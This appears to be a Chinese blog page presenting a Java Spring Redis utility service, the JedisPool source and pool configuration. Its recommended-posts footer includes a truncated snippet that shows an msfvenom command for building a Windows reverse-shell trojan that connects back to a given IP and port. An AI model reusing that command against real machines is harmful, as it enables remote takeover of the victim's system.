通用redis
import lombok.extern.slf4j.Slf4j;
import org.apache.poi.ss.formula.functions.T;
import org.rcisoft.core.converter.ListTranscoder;
import org.rcisoft.core.service.RcRedisService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import java.util.List;
@Service
@Slf4j
public class RcRedisServiceImpl implements RcRedisService {
@Autowired
private JedisPool jedisPool;
ListTranscoder listTranscoder;
@Override
public Jedis getResource() {
return jedisPool.getResource();
}
@SuppressWarnings("deprecation")
@Override
public void returnResource(Jedis jedis) {
if(jedis != null){
jedisPool.returnResourceObject(jedis);
}
}
@Override
public void set(String key, String value,int expire) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.set(key, value);
if (expire > 0)
jedis.expire(key,expire);
log.info("Redis set success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
@Override
public void setListObj(String key, byte[] value) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.set(key.getBytes(), value);
log.info("Redis set success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
@Override
public <T> void setListObj(String key, List<T> value, int expire) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.set(key.getBytes(), listTranscoder.serialize(value));
if (expire > 0)
jedis.expire(key.getBytes(),expire);
log.info("Redis set success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
@Override
public void set(String key, String value) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.set(key, value);
log.info("Redis set success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
@Override
public void setBytes(String key, byte[] value) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.set(key.getBytes(), value);
log.info("Redis set success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
@Override
public void setBytes(String key, byte[] value,int expire) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.set(key.getBytes(), value);
if (expire > 0)
jedis.expire(key,expire);
log.info("Redis set success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
@Override
public String get(String key) {
String result = null;
Jedis jedis=null;
try{
jedis = getResource();
result = jedis.get(key);
log.info("Redis get success - " + key + ", value:" + result);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + result);
}finally{
returnResource(jedis);
}
return result;
}
@Override
public byte[] getBytes(String key) {
byte[] result = null;
Jedis jedis=null;
try{
jedis = getResource();
result = jedis.get(key.getBytes());
log.info("Redis get success - " + key + ", value:" + result);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + result);
}finally{
returnResource(jedis);
}
return result;
}
@Override
public void remove(String key) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.del(key);
log.info("Redis del success - " + key );
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key );
}finally{
returnResource(jedis);
}
}
@Override
public List getList(String key) {
Jedis jedis=null;
List result = null ;
try{
jedis = getResource();
result = jedis.lrange(key, 0, -1);
log.info("Redis get list success - " + key + ", value:" + result);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key );
}finally{
returnResource(jedis);
}
return result;
}
@Override
public List getListObj(String key) {
Jedis jedis=null;
List result = null ;
try{
jedis = getResource();
byte[] in = jedis.get(key.getBytes());
result = listTranscoder.deserialize(in);
// result = jedis.lrange(key, 0, -1);
log.info("Redis get list success - " + key + ", value:" + result);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key );
}finally{
returnResource(jedis);
}
return result;
}
@Override
public void setList(String key, String value) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.rpush(key, value);
log.info("Redis set list success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
@Override
public void removeList(String key,String value) {
Jedis jedis=null;
try{
jedis = getResource();
jedis.lrem(key,1,value);
log.info("Redis remove list success - " + key + ", value:" + value);
} catch (Exception e) {
e.printStackTrace();
log.error("Redis set error: "+ e.getMessage() +" - " + key + ", value:" + value);
}finally{
returnResource(jedis);
}
}
}
JedisPool.java
package redis.clients.jedis;
import java.net.URI;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.SSLParameters;
import javax.net.ssl.SSLSocketFactory;
import org.apache.commons.pool2.impl.GenericObjectPool;
import org.apache.commons.pool2.impl.GenericObjectPoolConfig;
import redis.clients.jedis.exceptions.JedisException;
import redis.clients.util.JedisURIHelper;
import redis.clients.util.Pool;
public class JedisPool extends Pool<Jedis> {
public JedisPool() {
this(Protocol.DEFAULT_HOST, Protocol.DEFAULT_PORT);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host) {
this(poolConfig, host, Protocol.DEFAULT_PORT, Protocol.DEFAULT_TIMEOUT, null,
Protocol.DEFAULT_DATABASE, null);
}
public JedisPool(String host, int port) {
this(new GenericObjectPoolConfig(), host, port, Protocol.DEFAULT_TIMEOUT, null,
Protocol.DEFAULT_DATABASE, null);
}
public JedisPool(final String host) {
URI uri = URI.create(host);
if (JedisURIHelper.isValid(uri)) {
String h = uri.getHost();
int port = uri.getPort();
String password = JedisURIHelper.getPassword(uri);
int database = JedisURIHelper.getDBIndex(uri);
boolean ssl = uri.getScheme().equals("rediss");
this.internalPool = new GenericObjectPool<Jedis>(new JedisFactory(h, port,
Protocol.DEFAULT_TIMEOUT, Protocol.DEFAULT_TIMEOUT, password, database, null,
ssl, null, null, null), new GenericObjectPoolConfig());
} else {
this.internalPool = new GenericObjectPool<Jedis>(new JedisFactory(host,
Protocol.DEFAULT_PORT, Protocol.DEFAULT_TIMEOUT, Protocol.DEFAULT_TIMEOUT, null,
Protocol.DEFAULT_DATABASE, null, false, null, null, null), new GenericObjectPoolConfig());
}
}
public JedisPool(final String host, final SSLSocketFactory sslSocketFactory,
final SSLParameters sslParameters, final HostnameVerifier hostnameVerifier) {
URI uri = URI.create(host);
if (JedisURIHelper.isValid(uri)) {
String h = uri.getHost();
int port = uri.getPort();
String password = JedisURIHelper.getPassword(uri);
int database = JedisURIHelper.getDBIndex(uri);
boolean ssl = uri.getScheme().equals("rediss");
this.internalPool = new GenericObjectPool<Jedis>(new JedisFactory(h, port,
Protocol.DEFAULT_TIMEOUT, Protocol.DEFAULT_TIMEOUT, password, database, null, ssl,
sslSocketFactory, sslParameters, hostnameVerifier),
new GenericObjectPoolConfig());
} else {
this.internalPool = new GenericObjectPool<Jedis>(new JedisFactory(host,
Protocol.DEFAULT_PORT, Protocol.DEFAULT_TIMEOUT, Protocol.DEFAULT_TIMEOUT, null,
Protocol.DEFAULT_DATABASE, null, false, null, null, null), new GenericObjectPoolConfig());
}
}
public JedisPool(final URI uri) {
this(new GenericObjectPoolConfig(), uri, Protocol.DEFAULT_TIMEOUT);
}
public JedisPool(final URI uri, final SSLSocketFactory sslSocketFactory,
final SSLParameters sslParameters, final HostnameVerifier hostnameVerifier) {
this(new GenericObjectPoolConfig(), uri, Protocol.DEFAULT_TIMEOUT, sslSocketFactory,
sslParameters, hostnameVerifier);
}
public JedisPool(final URI uri, final int timeout) {
this(new GenericObjectPoolConfig(), uri, timeout);
}
public JedisPool(final URI uri, final int timeout, final SSLSocketFactory sslSocketFactory,
final SSLParameters sslParameters, final HostnameVerifier hostnameVerifier) {
this(new GenericObjectPoolConfig(), uri, timeout, sslSocketFactory, sslParameters,
hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password) {
this(poolConfig, host, port, timeout, password, Protocol.DEFAULT_DATABASE, null);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final boolean ssl) {
this(poolConfig, host, port, timeout, password, Protocol.DEFAULT_DATABASE, null, ssl);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final boolean ssl,
final SSLSocketFactory sslSocketFactory, final SSLParameters sslParameters,
final HostnameVerifier hostnameVerifier) {
this(poolConfig, host, port, timeout, password, Protocol.DEFAULT_DATABASE, null, ssl,
sslSocketFactory, sslParameters, hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, final int port) {
this(poolConfig, host, port, Protocol.DEFAULT_TIMEOUT, null, Protocol.DEFAULT_DATABASE, null);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, final int port,
final boolean ssl) {
this(poolConfig, host, port, Protocol.DEFAULT_TIMEOUT, null, Protocol.DEFAULT_DATABASE, null,
ssl);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, final int port,
final boolean ssl, final SSLSocketFactory sslSocketFactory, final SSLParameters sslParameters,
final HostnameVerifier hostnameVerifier) {
this(poolConfig, host, port, Protocol.DEFAULT_TIMEOUT, null, Protocol.DEFAULT_DATABASE, null,
ssl, sslSocketFactory, sslParameters, hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, final int port,
final int timeout) {
this(poolConfig, host, port, timeout, null, Protocol.DEFAULT_DATABASE, null);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, final int port,
final int timeout, final boolean ssl) {
this(poolConfig, host, port, timeout, null, Protocol.DEFAULT_DATABASE, null, ssl);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, final int port,
final int timeout, final boolean ssl, final SSLSocketFactory sslSocketFactory,
final SSLParameters sslParameters, final HostnameVerifier hostnameVerifier) {
this(poolConfig, host, port, timeout, null, Protocol.DEFAULT_DATABASE, null, ssl,
sslSocketFactory, sslParameters, hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final int database) {
this(poolConfig, host, port, timeout, password, database, null);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final int database, final boolean ssl) {
this(poolConfig, host, port, timeout, password, database, null, ssl);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final int database, final boolean ssl,
final SSLSocketFactory sslSocketFactory, final SSLParameters sslParameters,
final HostnameVerifier hostnameVerifier) {
this(poolConfig, host, port, timeout, password, database, null, ssl, sslSocketFactory,
sslParameters, hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final int database, final String clientName) {
this(poolConfig, host, port, timeout, timeout, password, database, clientName, false,
null, null, null);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final int database, final String clientName,
final boolean ssl) {
this(poolConfig, host, port, timeout, timeout, password, database, clientName, ssl,
null, null, null);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
int timeout, final String password, final int database, final String clientName,
final boolean ssl, final SSLSocketFactory sslSocketFactory,
final SSLParameters sslParameters, final HostnameVerifier hostnameVerifier) {
this(poolConfig, host, port, timeout, timeout, password, database, clientName, ssl,
sslSocketFactory, sslParameters, hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final String host, int port,
final int connectionTimeout, final int soTimeout, final String password, final int database,
final String clientName, final boolean ssl, final SSLSocketFactory sslSocketFactory,
final SSLParameters sslParameters, final HostnameVerifier hostnameVerifier) {
super(poolConfig, new JedisFactory(host, port, connectionTimeout, soTimeout, password,
database, clientName, ssl, sslSocketFactory, sslParameters, hostnameVerifier));
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final URI uri) {
this(poolConfig, uri, Protocol.DEFAULT_TIMEOUT);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final URI uri,
final SSLSocketFactory sslSocketFactory, final SSLParameters sslParameters,
final HostnameVerifier hostnameVerifier) {
this(poolConfig, uri, Protocol.DEFAULT_TIMEOUT, sslSocketFactory, sslParameters,
hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final URI uri, final int timeout) {
this(poolConfig, uri, timeout, timeout);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final URI uri, final int timeout,
final SSLSocketFactory sslSocketFactory, final SSLParameters sslParameters,
final HostnameVerifier hostnameVerifier) {
this(poolConfig, uri, timeout, timeout, sslSocketFactory, sslParameters, hostnameVerifier);
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final URI uri,
final int connectionTimeout, final int soTimeout) {
super(poolConfig, new JedisFactory(uri, connectionTimeout, soTimeout, null, false,
null, null, null));
}
public JedisPool(final GenericObjectPoolConfig poolConfig, final URI uri,
final int connectionTimeout, final int soTimeout, final SSLSocketFactory sslSocketFactory,
final SSLParameters sslParameters, final HostnameVerifier hostnameVerifier) {
super(poolConfig, new JedisFactory(uri, connectionTimeout, soTimeout, null,
(uri.getScheme() !=null && uri.getScheme().equals("rediss")), sslSocketFactory,
sslParameters, hostnameVerifier));
}
@Override
public Jedis getResource() {
Jedis jedis = super.getResource();
jedis.setDataSource(this);
return jedis;
}
/**
* @deprecated starting from Jedis 3.0 this method will not be exposed. Resource cleanup should be
* done using @see {@link redis.clients.jedis.Jedis#close()}
*/
@Override
@Deprecated
public void returnBrokenResource(final Jedis resource) {
if (resource != null) {
returnBrokenResourceObject(resource);
}
}
/**
* @deprecated starting from Jedis 3.0 this method will not be exposed. Resource cleanup should be
* done using @see {@link redis.clients.jedis.Jedis#close()}
*/
@Override
@Deprecated
public void returnResource(final Jedis resource) {
if (resource != null) {
try {
resource.resetState();
returnResourceObject(resource);
} catch (Exception e) {
returnBrokenResource(resource);
throw new JedisException("Could not return the resource to the pool", e);
}
}
}
}
RedisConfig.java
import lombok.extern.slf4j.Slf4j;
import org.rcisoft.core.bean.RcRedisConfigBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
@Configuration
@Slf4j
public class RedisConfig {
@Autowired
private RcRedisConfigBean redisConfigBean;
@Bean
public JedisPool getJedisPool(){
JedisPoolConfig config = new JedisPoolConfig();
//连接耗尽时是否阻塞, false报异常,ture阻塞直到超时, 默认true
config.setBlockWhenExhausted(true);
//设置的逐出策略类名, 默认DefaultEvictionPolicy(当连接超过最大空闲时间,或连接数超过最大空闲连接数)
config.setEvictionPolicyClassName("org.apache.commons.pool2.impl.DefaultEvictionPolicy");
//是否启用pool的jmx管理功能, 默认true
config.setJmxEnabled(true);
//MBean ObjectName = new ObjectName("org.apache.commons.pool2:type=GenericObjectPool,name=" + "pool" + i); 默认为"pool", JMX不熟,具体不知道是干啥的...默认就好.
config.setJmxNamePrefix("pool");
//是否启用后进先出, 默认true
config.setLifo(false);
//最大空闲连接数, 默认8个
config.setMaxIdle(redisConfigBean.getMaxIdle());
//最大连接数, 默认8个
config.setMaxTotal(redisConfigBean.getMaxActive());
//获取连接时的最大等待毫秒数(如果设置为阻塞时BlockWhenExhausted),如果超时就抛异常, 小于零:阻塞不确定的时间, 默认-1
config.setMaxWaitMillis(redisConfigBean.getMaxWait());
//逐出连接的最小空闲时间 默认1800000毫秒(30分钟)
config.setMinEvictableIdleTimeMillis(1800000);
//最小空闲连接数, 默认0
config.setMinIdle(0);
//每次逐出检查时 逐出的最大数目 如果为负数就是 : 1/abs(n), 默认3
config.setNumTestsPerEvictionRun(3);
//对象空闲多久后逐出, 当空闲时间>该值 且 空闲连接>最大空闲数 时直接逐出,不再根据MinEvictableIdleTimeMillis判断 (默认逐出策略)
config.setSoftMinEvictableIdleTimeMillis(1800000);
//在获取连接的时候检查有效性, 默认false
config.setTestOnBorrow(false);
//在空闲时检查有效性, 默认false
config.setTestWhileIdle(false);
//逐出扫描的时间间隔(毫秒) 如果为负数,则不运行逐出线程, 默认-1
config.setTimeBetweenEvictionRunsMillis(-1);
JedisPool pool = new JedisPool(config,redisConfigBean.getHost(),redisConfigBean.getPort(),
redisConfigBean.getTimeout(),redisConfigBean.getPassword(),redisConfigBean.getDatabase());
log.info("init JedisPool ...");
return pool;
}
}
RcRedisService.java
import redis.clients.jedis.Jedis;
import java.util.List;
public interface RcRedisService {
/**
* 获取jedis
* @return
*/
public Jedis getResource();
/**
* 归还jedis
* @param jedis
*/
public void returnResource(Jedis jedis);
/**
* 赋值
* @param key
* @param value
*/
public void set(String key, String value);
/**
* 赋值字节数组 设置过期
* @param key
* @param value
*/
public void set(String key, String value, int expire);
/**
* 赋值
* @param key
* @param value
*/
public void setListObj(String key, byte[] value);
/**
* 赋值字节数组 设置过期
* @param key
* @param
*/
<T> void setListObj(String key, List<T> value, int expire);
/**
* 赋值字节数组
* @param key
* @param value
*/
public void setBytes(String key, byte[] value);
/**
* 赋值字节数组 设置过期
* @param key
* @param value
*/
public void setBytes(String key, byte[] value, int expire);
/**
* 取值
* @param key
* @return
*/
public String get(String key);
/**
* 取值数组
* @param key
* @return
*/
public byte[] getBytes(String key);
/**
* 清除
* @param key
*/
public void remove(String key);
/**
* 获取list
* @param key
*/
public List getList(String key);
public List getListObj(String key);
/**
* set list
* @param key
* @param value
*/
public void setList(String key, String value);
/**
* 从 list 中 删除
* @param key
*/
public void removeList(String key, String value);
}
RedisConfigBean.java
import lombok.Data;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.stereotype.Component;
@Component
@ConfigurationProperties(prefix = "spring.redis")
@Data
public class RcRedisConfigBean {
private String host;
private int port;
@Value("${spring.redis.password}")
private String password;
private int timeout;
private int database;
@Value("${spring.redis.pool.max-idle:100}")
private int maxIdle;
@Value("${spring.redis.pool.max-active:100}")
private int maxActive;
@Value("${spring.redis.pool.min-idle:1}")
private int minIdle;
@Value("${spring.redis.pool.max-wait:-1}")
private int maxWait;
}
通用redis的更多相关文章
- Linux+Redis实战教程_day03_4、通用redis命令【重点】
4.通用redis命令[重点] Redis五种数据类型,String,hash,list,set,有序set l keys pattern:获取所有与pattern匹配的key,返回所有与该key匹配 ...
- php 通用redis类
php 通用redis类 <?php /** * redis操作类 * 说明,任何为false的串,存在redis中都是空串. * 只有在key不存在时,才会返回false. * 这点可用于防止 ...
- 通用redis命令
Redis五种数据类型,String,hash,list,set,有序set keys pattern:获取所有与pattern匹配的key,返回所有与该key匹配的keys. 通配符: *表示任意0 ...
- redis成长之路——（一）
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 新人入坑Redis必会的吐血总结
新人入坑Redis必会的吐血总结 一.什么是Redis Redis是一个使用C语言开发的开源的高性能的key-value存储系统,我们可以把它近似理解为Java Map.简单来讲,Redis是一种NO ...
- DotNet 资源大全
awesome-dotnet 是由 quozd 发起和维护.内容包括:编译器.压缩.应用框架.应用模板.加密.数据库.反编译.IDE.日志.风格指南等. https://github.com/jobb ...
- 《.NET开发资源大全》
目录 API 应用框架(Application Frameworks) 应用模板(Application Templates) 人工智能(Artificial Intelligence) 程序集处理( ...
- 转帖：DotNet 资源大全中文版
(注:下面用 [$] 标注的表示收费工具,但部分收费工具针对开源软件的开发/部署/托管是免费的) API 框架 NancyFx:轻量.用于构建 HTTP 基础服务的非正式(low-ceremony)框 ...
- .Net 开源项目资源大全
伯乐在线已在 GitHub 上发起「DotNet 资源大全中文版」的整理.欢迎扩散.欢迎加入. https://github.com/jobbole/awesome-dotnet-cn (注:下面用 ...
随机推荐
- C# 转化成 json ，特殊字符的处理
//1.定义string jsonText0= "{\"beijing\":{\"zkkke\":\"2222\",\" ...
- 跟着尚硅谷系统学习Docker-【day02】
day02-20200714 p9.docker阿里云配置 helloword 拉取镜像-运行- 拉取镜像如果从国外网站拉取辉比较慢,所以需要配置阿里云或者网易云得镜像仓库. 首先 ...
- SpringBoot—整合log4j2入门和log4j2.xml配置详解
关注微信公众号:CodingTechWork,一起学习进步. 引言 对于一个线上程序或者服务而言,重要的是要有日志输出,这样才能方便运维.而日志的输出需要有一定的规划,如日志命名.日志大小,日志分 ...
- Java的枚举简单应用
/** * 请用枚举方式实现如下应用: * 客户去旅店住房, * 客户分普通客户,和vip客户,vip分白金和钻石客户 * 不同的客户有不同的折扣 * 入住的房间分单人房,双人房和套房 * 不同的房间 ...
- ssm框架spring-mvc.xml和spring-mybatis.xml报错项目无法正常启动问题
报错信息 Multiple annotations found at this line: - Referenced file contains errors (http://www.springfr ...
- Minimizing maximizer(POJ 1769)
原题如下: Minimizing maximizer Time Limit: 5000MS Memory Limit: 30000K Total Submissions: 5104 Accep ...
- oracle之二表的几种类型
Oracle中表的几种类型 1.表的功能:存储.管理数据的基本单元(二维表:有行和列组成)2.表的类型: 1)堆表:heap table :数据存储时,行是无序的,对它的访问采用全表扫描. 2)分区表 ...
- msf生成木马
Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...
- Linux实战（9）：Docker一键搭建kms服务
server端 docker pull luodaoyi/kms-server docker run -itd -p 1688:1688 --name kms luodaoyi/kms-server ...
- Docker实战（2）：主从库搭建
入门 基于Docker的Mysql主从复制搭建 首先安装docker 拉取mysql镜像:5.7版本 启动主从数据库容器 docker run -p 3339:3306 --name Maste -e ...